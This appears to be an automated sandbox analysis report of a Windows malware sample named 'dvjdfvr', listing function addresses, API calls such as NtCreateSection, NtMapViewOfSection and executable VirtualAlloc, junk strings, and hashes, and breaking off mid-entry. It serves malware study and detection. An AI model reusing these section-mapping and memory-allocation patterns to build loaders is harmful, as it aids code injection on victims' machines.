Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3DF09632101B117BD7203BF59C8DB6E7BE8BF49726F140628E643954C0DB70EC4546A5

Function 00550E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00550223,?,?), ref: 00550E19
SetErrorMode.KERNELBASE(00000000,?,?,00550223,?,?), ref: 00550E1E

Memory Dump Source

Source File: 00000005.00000002.2090478524.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_550000_dvjdfvr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 59f4f3660f24c022e483895a9ce12252ed7c3a0652483bba4d3b890b59234470
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 8AD0123114512877D7002AD4DC09BCD7F1CDF05B63F108411FB0DD9080C770994046E5

Function 00401919 Relevance: 1.3, APIs: 1, Instructions: 79
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction ID: 49835af623e861a6f2ddbc0bf662c5c40176c384461ea98b099af7f339eb22c4
Opcode Fuzzy Hash: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction Fuzzy Hash: 7911DCB234C201EBD6009A84A862E7A3214AB51359F304537FA57B90F2D57D9A13F76F

Function 00401959 Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction ID: 220a72f44c34cad911d214d6bf830d158092726683e2111099ccb198781fee4b
Opcode Fuzzy Hash: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction Fuzzy Hash: 1311BCB1648204FADA009A849C62E7A3228AB41754F204137BA47B90F1C57DA913EAAF

Function 00401970 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction ID: edf3ac2f4a0a3dadc82130375ffc9a201d65d5ca35b25829e414e95522c05f9b
Opcode Fuzzy Hash: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction Fuzzy Hash: AA01C0B174C104EBDB009A84DC62E7A3214AF41704F204537BA57B91F1C53EAA23FB5B

Function 00401977 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction ID: c889a794982209429869940d23560ef391d683eb1520a1ae8baa03dfc3eb9000
Opcode Fuzzy Hash: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction Fuzzy Hash: E601E1B1308100EBD7009B849C51ABA3614AF41314F20413BB957790E2C53EAA22EB5B

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction ID: 1aa0efa7bda459d32f82bf33ce90feabc7a2b43109eca8adeaaf204144b81d62
Opcode Fuzzy Hash: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction Fuzzy Hash: C201C0B1708104EBDB009A84DC62E7A3214AF41714F204137BA57791F1C53EAA23FB5B

Function 0040198A Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction ID: 93e9f4b763319a312fe66b3304ba82e0c9e14e36225fd67d869cb8e68c59c211
Opcode Fuzzy Hash: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction Fuzzy Hash: 5501B572308244EBDB019F90DC92EAE3728AF45318F24017BB557790E2C53DA912EB1B

Function 00531696 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005316E7

Memory Dump Source

Source File: 00000005.00000002.2090450815.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_520000_dvjdfvr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 60f54c2b6c70baf80981567106971bff7766605a00caad6439414e639d251a47
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 8E112D79A00208EFDB01DF98C985E98BFF5EF08350F058094F9489B362D771EA50DB84

Analysis Process: dvjdfvrPID: 1404, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	16.3%
Signature Coverage:	4.2%
Total number of Nodes:	1745
Total number of Limit Nodes:	0

Executed Functions

Function 004038CA Relevance: 21.1, APIs: 14, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00403915
__mtinit.LIBCMT ref: 0040391B
_fast_error_exit.LIBCMT ref: 00403926
__RTC_Initialize.LIBCMT ref: 0040392C
__ioinit.LIBCMT ref: 00403934
__amsg_exit.LIBCMT ref: 0040393F
GetCommandLineW.KERNEL32 ref: 00403945
__wsetargv.LIBCMT ref: 00403959
__amsg_exit.LIBCMT ref: 00403964
__wsetenvp.LIBCMT ref: 0040396A
__amsg_exit.LIBCMT ref: 00403975
__cinit.LIBCMT ref: 0040397C
__amsg_exit.LIBCMT ref: 00403987
__wwincmdln.LIBCMT ref: 0040398D

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandInitializeLine__cinit__ioinit__mtinit__wsetargv__wsetenvp__wwincmdln
String ID:
API String ID: 2477803136-0
Opcode ID: 55a75209081753db21fe90352bca722720aa1b5174487b2b9d7f02c13d1d6b9a
Instruction ID: 4d34ed221a603986baafc3b490fe9ee0ac988487a940e438daf9dc0b721e7aab
Opcode Fuzzy Hash: 55a75209081753db21fe90352bca722720aa1b5174487b2b9d7f02c13d1d6b9a
Instruction Fuzzy Hash: 782194A1D0074499EB147F739846B6F2A689F0070AF10487FF4457A1D2EABCDE419B5D

Function 004055DC Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 004055F1

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: c3123c9c4030a1a5e9ae62ae76111dcff124cdbe5bbe755f4680c7aacda7825b
Instruction ID: 77f26234ab174d6b3d664015af184a37d4aef173991afb3d41f41048f881ceb4
Opcode Fuzzy Hash: c3123c9c4030a1a5e9ae62ae76111dcff124cdbe5bbe755f4680c7aacda7825b
Instruction Fuzzy Hash: 2CD0A7765543456EDB005F76BC09B633BDCE784395F108436F90CC6590F674C590CB08

Non-executed Functions

Function 00402780 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 161
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(00000000,00000000), ref: 0040281F
GetCommConfig.KERNEL32(00000000,00000000,00000000), ref: 00402864
GetNumberFormatW.KERNEL32(00000000,00000000,gosiyoruvazaligusa lejivo hutawucadajira,00000000,?,00000000), ref: 00402891
GetLogicalDriveStringsW.KERNEL32(00000000,?), ref: 004028A0
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 004028B3
GetComputerNameW.KERNEL32(?,?), ref: 004028C4
ClearCommBreak.KERNEL32(00000000), ref: 004028CC
InterlockedIncrement.KERNEL32(?), ref: 004028D6
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 004028DE
GetTempFileNameW.KERNEL32(00000000,?,00000000,00000000), ref: 004028F1
_memset.LIBCMT ref: 00402906
CommConfigDialogW.KERNEL32(00000000,00000000,?), ref: 00402916
ReadConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 0040292B
GetVersionExW.KERNEL32(?), ref: 00402938
InterlockedIncrement.KERNEL32(?), ref: 00402942
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00402954
GlobalMemoryStatus.KERNEL32(00000000), ref: 0040295C

Strings

gosiyoruvazaligusa lejivo hutawucadajira, xrefs: 00402888
, xrefs: 004027E1

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: Comm$ConfigFileIncrementInterlockedNameVersion$AttributesBreakClearComputerConsoleDialogDriveEnumFormatFormatsGlobalInfoInputLogicalMemoryMountNumberPointReadStatusStringsTempTimeVerifyVolume_memset
String ID: $gosiyoruvazaligusa lejivo hutawucadajira
API String ID: 506528498-2210585140
Opcode ID: 037e5d191132ad2b14524fa6fca01ab55c1a2ed6f758744307c817d5b39f1ee1
Instruction ID: cf355d90496da7791a3c19a47d785b8762527cb921606fece1e7f5650e3ceb49
Opcode Fuzzy Hash: 037e5d191132ad2b14524fa6fca01ab55c1a2ed6f758744307c817d5b39f1ee1
Instruction Fuzzy Hash: 01611C75E40208AFDB10DF94DD89B9EB7B4FB48701F108169E605BB2D0D7B46A44CF69

Function 004029B0 Relevance: 18.1, APIs: 12, Instructions: 99
timeprocesspipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNumberFormatW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 00402A0F
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00402A15
GetConsoleAliasExesW.KERNEL32(?,00000000), ref: 00402A24
CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402A3A
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 00402A44
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402A5E
GetTimeFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402A70
GetModuleFileNameW.KERNEL32(00000000,00000000,00000000), ref: 00402A78
TlsSetValue.KERNEL32(00000000,00000000), ref: 00402A7E
SetEnvironmentVariableA.KERNEL32(00000000,?), ref: 00402A8D
GetTimeFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402A9F
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 00402AAC

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: CreateFileFormatName$ModuleTime$AliasConsoleEnvironmentExesNamedNumberObjectPipeProcessShortValueVariable
String ID:
API String ID: 4163992861-0
Opcode ID: de64801f7f8460ace1fac7cd90a485005b25414184570f5667c97c45307c5d74
Instruction ID: b63d3673e0c5033209ebad036fb76a060e8bb29fbe4bc934e374f6f9c6a1ff10
Opcode Fuzzy Hash: de64801f7f8460ace1fac7cd90a485005b25414184570f5667c97c45307c5d74
Instruction Fuzzy Hash: 0F218735784304BBF760AB95DE4AF997764DB44B12F104065F748BA1D0CEB05984CB79

Function 0040841C Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 0040B438
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040B44D
UnhandledExceptionFilter.KERNEL32(00401BEC), ref: 0040B458
GetCurrentProcess.KERNEL32(C0000409), ref: 0040B474
TerminateProcess.KERNEL32(00000000), ref: 0040B47B

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf13f82d5f95a5b9219731cc4d6641717ffd92efd21975278bd15d779f98045f
Instruction ID: 1ba73b8f49e8f5d1db2b3cc3a21a518c391241100f22d2c72230a76073541b3b
Opcode Fuzzy Hash: bf13f82d5f95a5b9219731cc4d6641717ffd92efd21975278bd15d779f98045f
Instruction Fuzzy Hash: 7121FDBD811204EFD300DF64F9896493BB0FB1A300F22407AE948A76B1E7B4598ACF4D

Function 00402DF0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000000,?,?,?,5C9ABF6F,1E034062,2035442F,53C07D34,782066B0,63C41FAC,0CB4B4DE,39A1128B,15DE494B,51091788,6E94626D,51091788), ref: 00403167

Strings

K*w, xrefs: 00403054
/D5 , xrefs: 00402E77
l_H), xrefs: 0040311E

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: CurrentDirectory
String ID: /D5 $K*w$l_H)
API String ID: 1611563598-2127717106
Opcode ID: 7ff80d827485dd1fbdc2d360fa7c585fdb13e0cb258b49fc037fd4da5eede4d1
Instruction ID: e8bc9cc4fbe0acd5bef36109addc99e941147015c112cfba499ea01668a1ed68
Opcode Fuzzy Hash: 7ff80d827485dd1fbdc2d360fa7c585fdb13e0cb258b49fc037fd4da5eede4d1
Instruction Fuzzy Hash: 58A1CAB9E012589BCF04CFEAD9895DDFBB5FF18310F248108E812BBA14D3709A858F55

Function 00407345 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007303), ref: 0040734A

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 19311c34a9d4baa823216694b248ebb2eaa35a89abd0ded209ca0d3f4a86d0b4
Instruction ID: 86083c40b31e47b7b7a57c8522e6a5e19468ab9a25b49b711df96938c8b9ed54
Opcode Fuzzy Hash: 19311c34a9d4baa823216694b248ebb2eaa35a89abd0ded209ca0d3f4a86d0b4
Instruction Fuzzy Hash: 179022A02000028AE30003300C0A00020800A08B02B02803A2880E0CA0EA300080B00A

Function 00402AE0 Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 219
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000000), ref: 00402AF7
DefineDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00402B1F
_malloc.LIBCMT ref: 00402B26
_realloc.LIBCMT ref: 00402B30
OpenJobObjectW.KERNEL32(00000000,00000000,nawis), ref: 00402B6A
InterlockedIncrement.KERNEL32(?), ref: 00402B74
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00402BDE
GetTickCount.KERNEL32 ref: 00402BF4
InterlockedExchange.KERNEL32(?,00000000), ref: 00402C37
LoadLibraryA.KERNEL32(00000000), ref: 00402C3E
ReadConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 00402C4E
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 00402C88
InterlockedExchange.KERNEL32(?,00000000), ref: 00402C90
OpenEventW.KERNEL32(00000000,00000000,00000000), ref: 00402C9C
GetCurrentProcess.KERNEL32 ref: 00402CC8
GetCharWidth32A.GDI32(00000000,00000000,00000000,00000000), ref: 00402CD2
GetLastError.KERNEL32 ref: 00402CF0
GetFileAttributesA.KERNEL32(sayemexesukayevudadotukawakebal), ref: 00402D41
GetShortPathNameA.KERNEL32(jowalaserenadecibaf,?,00000000), ref: 00402D51
GlobalCompact.KERNEL32(00000000), ref: 00402D55
GetEnvironmentStrings.KERNEL32 ref: 00402D57
SetComputerNameW.KERNEL32(zodow), ref: 00402D62
InterlockedExchange.KERNEL32(?,00000000), ref: 00402D77
LoadLibraryA.KERNEL32(0044F9C8), ref: 00402DDA

Strings

Bq , xrefs: 00402CD4
jowalaserenadecibaf, xrefs: 00402D4C
%s %f %c, xrefs: 00402BAD
{, xrefs: 00402D29
nawis, xrefs: 00402B63
sayemexesukayevudadotukawakebal, xrefs: 00402D3C
zodow, xrefs: 00402D5D

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: Interlocked$Exchange$ErrorLastLibraryLoadNameOpen$AllocAttributesCharCompactComputerConsoleCountCurrentDefineDeviceEnvironmentEventFileGlobalIncrementInputObjectPathProcessReadShortStringStringsTickVirtualWidth32_malloc_realloc
String ID: %s %f %c$Bq $jowalaserenadecibaf$nawis$sayemexesukayevudadotukawakebal$zodow${
API String ID: 2828681805-4159871415
Opcode ID: b7bc834f5fd41e4760b8ab7829b546fb1a8d5297e328fe11c9040408e6bdcedb
Instruction ID: 14f4dd021938527547b7e4df40446ce02b6bf67af537f9d54bbeee514953ad6b
Opcode Fuzzy Hash: b7bc834f5fd41e4760b8ab7829b546fb1a8d5297e328fe11c9040408e6bdcedb
Instruction Fuzzy Hash: 8F813BB1D00340EFE710AF74EE89B9A7B68FB14305F14443AE545772E2CAB85949CBAD

Function 00403194 Relevance: 13.7, APIs: 9, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ctrlfp.LIBCMT ref: 004031A7
__ctrlfp.LIBCMT ref: 004031FE

Part of subcall function 004044AF: __umatherr.LIBCMT ref: 004044E7

__except2.LIBCMT ref: 0040322C
__decomp.LIBCMT ref: 00403251
__copysign.LIBCMT ref: 00403295
__set_exp.LIBCMT ref: 004032C7
__set_exp.LIBCMT ref: 0040331D
__set_exp.LIBCMT ref: 0040332D
__ctrlfp.LIBCMT ref: 00403337

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
